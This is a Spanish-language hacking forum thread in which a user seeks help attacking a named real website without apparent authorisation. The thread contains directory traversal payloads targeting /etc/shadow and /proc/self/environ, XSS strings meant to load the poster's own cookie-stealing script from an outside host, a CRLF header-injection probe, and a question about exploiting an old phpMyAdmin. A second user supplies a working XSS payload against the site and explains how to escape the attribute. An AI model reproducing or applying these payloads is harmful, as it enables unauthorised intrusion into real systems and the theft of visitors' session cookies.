Directory traversal

Hola, ya sé que soy nuevo por aquí y no sé si debería ir tan directo pero hí va:

La web es vuln a action=../../../../../../../../../../proc/self/passwd.png pero:
1.-
Nada, no muestra nada de esto:
action=../../../../../../../../../../proc/self/environ.png

No muestra nada cuando action=../../../../../../../../../../etc/shadow.png&id=4504

creo q solo es vuln pal passwd

asi k no me deja.

¿Hay algun otro metodo de explotar con directory taversal?

Si no se puede con directory traversal, la web es vulnerable tb a:
-ASP.NET Padding Oracle Vulnerability
-Apache Mod_Rewrite Off-By-One Buffer Overflow Vulnerability


Pero estas si q verdaderamente no se ni por donde empezar...

2.-
EDITO 19/10: He sacado más vuln y es vuln a xss: " onmouseover=prompt(970448) bad="

Yo ya he usado anteriormente en otra web xss usando este codigo:
http://xxxxx.com/?action=best&srt=1>"><script src="http://xxxxx/cookie.js">&dir=1

El problema es que no sé cómo implimentarlo aquí, es decir, he probado de todas formas y maneras:
Vuln: action=best&dir=" onmouseover=prompt(970448) bad="
srt=0
Modificado:
action=best&dir=" onmouseover=<script src="http://xxxxx/cookie.js"> bad="
srt=0
action=best&dir=" onmouseover=alert() bad="
srt=0
action=best&dir=" onmouseover=<script>alert()</script> bad="
srt=0
ETC...
Pero nada funciona, solo el prompt.
3.-
Vale esto es lo referente a xss, pero esque luego tambien es vulnerable a CRLF injection:
/download.php?id=
 SomeCustomInjectedHeader:injected_by_wvs&t=1287498936

El caso es que no me aparece nada, ¿debería?


Haber si algun alma caritativa se atreve
asias.

Cierto me equivoqué al escribirlo es etc/shadow.
Lo del xss lo sabía que es atacar a un browser, el problema es que no ejecuta el script que ponga bien, es decir:
" onmouseover=prompt(970448) bad="

Eso si funciona, pero esto otro no " onmouseover=<script>alert()</script> bad="
Por tanto si eso no funciona esto otro tampoco: <script src="xxxx/cookie.js">  (q es mi archivo de robar cookies).

De todos modos si esto no funcionara, la web tiene en la raiz www.xxx.com/sql   el phpmyadmin, pero resulta que es de la versión 2.0.55 o inferior.
Cómo podria explotarla?

GRACIAS.

Para empezar, gracias por las molestias que te estás tomando.
Continuado con el problema, he intentado pasar muchos de los filtros de el link que me pasaste y nada.
Creo que he entendido correctamente lo que me dijiste pero creo que hay varios filtros a los que saltarse:
" onmouseover=<script>alert()</script> bad="
Cuando pongo cualquier código que contenga < no funciona, por tanto debería de cambiarlo por: " onmouseover=&lt;script&gt;alert()&lt;/script&gt; bad="

Pero tampoco funciona. Sin embargo, cuando escribo " onmouseover=alert() bad=" entonces sí que funciona.

Podrías explicarme por qué?
gracias

Bueno, como la idea es que todos aprendamos, voy a poner como se soluciono el problema por privado ya que veo que despues de tener la solucion no le importo postearla a pesar de que se lo pedi para que otros puedan sacarle provecho.

---GhoST
Haber he estado leyéndome y comprendiendo todo lo que me dijiste, pero prueba tú mismo no funciona como tú dijiste:
http://roc.replayers.com/index.php?action=search&task=search&uid=" onmouseover=alert() bad="

Así sí pero con las comillas que tú pusiste no http://roc.replayers.com/index.php?action=search&task=search&uid=" onmouseover="alert()" bad="

Lo que yo quiero es algo así:
http://roc.replayers.com/index.php?action=search&task=search&uid=" onmouseover=<script src='http://xxx/cookie.js'</script> bad="

Pero claro tiene filtrado de <>, tonces los cambio por &lt; &gt; y sigue sin funcionar, haber si puedes sacar tú mismo el problema y me enseñaras mi defecto.
Gracias
-------

----snf
Comprobando mis sospechas eso no tiene nada de filtrado, y no entendiste lo que te dije, no queria dartelo servido para que aprendas pero para que te des cuenta es asi:
http://roc.replayers.com/index.php?action=search&task=search&uid="><script>alert("xss")</script></ br t="
Ahi podes ver que le cierro las comillas, cierro el tag con > y abro uno nuevo de script, escribo el xss, cierro el tag de script y abro un tag cualquiera para poder abrir las comillas y que la pagina no se deforme cuando el html original cierre las comillas y el tag que estaba abierto.

Para poder realizar estos ataques tenes que tener mas claro todo sobre html, no se trata de intentar romper ciegamente.
Se trata de analizar el source cada vez que inyectas el comando y ir armando todo con distintas tecnicas,, por eso puse esa web que tiene muchas formas de armar xss sin usar comillas ni simbolos <> . Igualmente no estan filtrados.
Lo que puede ser es que el browser que estas usando vos lo esta filtrando, pero si revisas el source el xss esta ahi.

Y la proxima vez pregunta por el foro, no respondo por privado generalmente.
-----

Hola perdonen por entrometerme pero como analizo el source o como llego a el?

Vendría a ser el index.php? o le estoy errando fiero

No, me refiero al html ya procesado...
<html>
<body>
<a>bbbbb</a>
.....
</html>

Si se refleja algo que hayas puesto vos en algun input o variable en la pagina web(html), entonces puede haber alguna forma de deformarla a tu favor.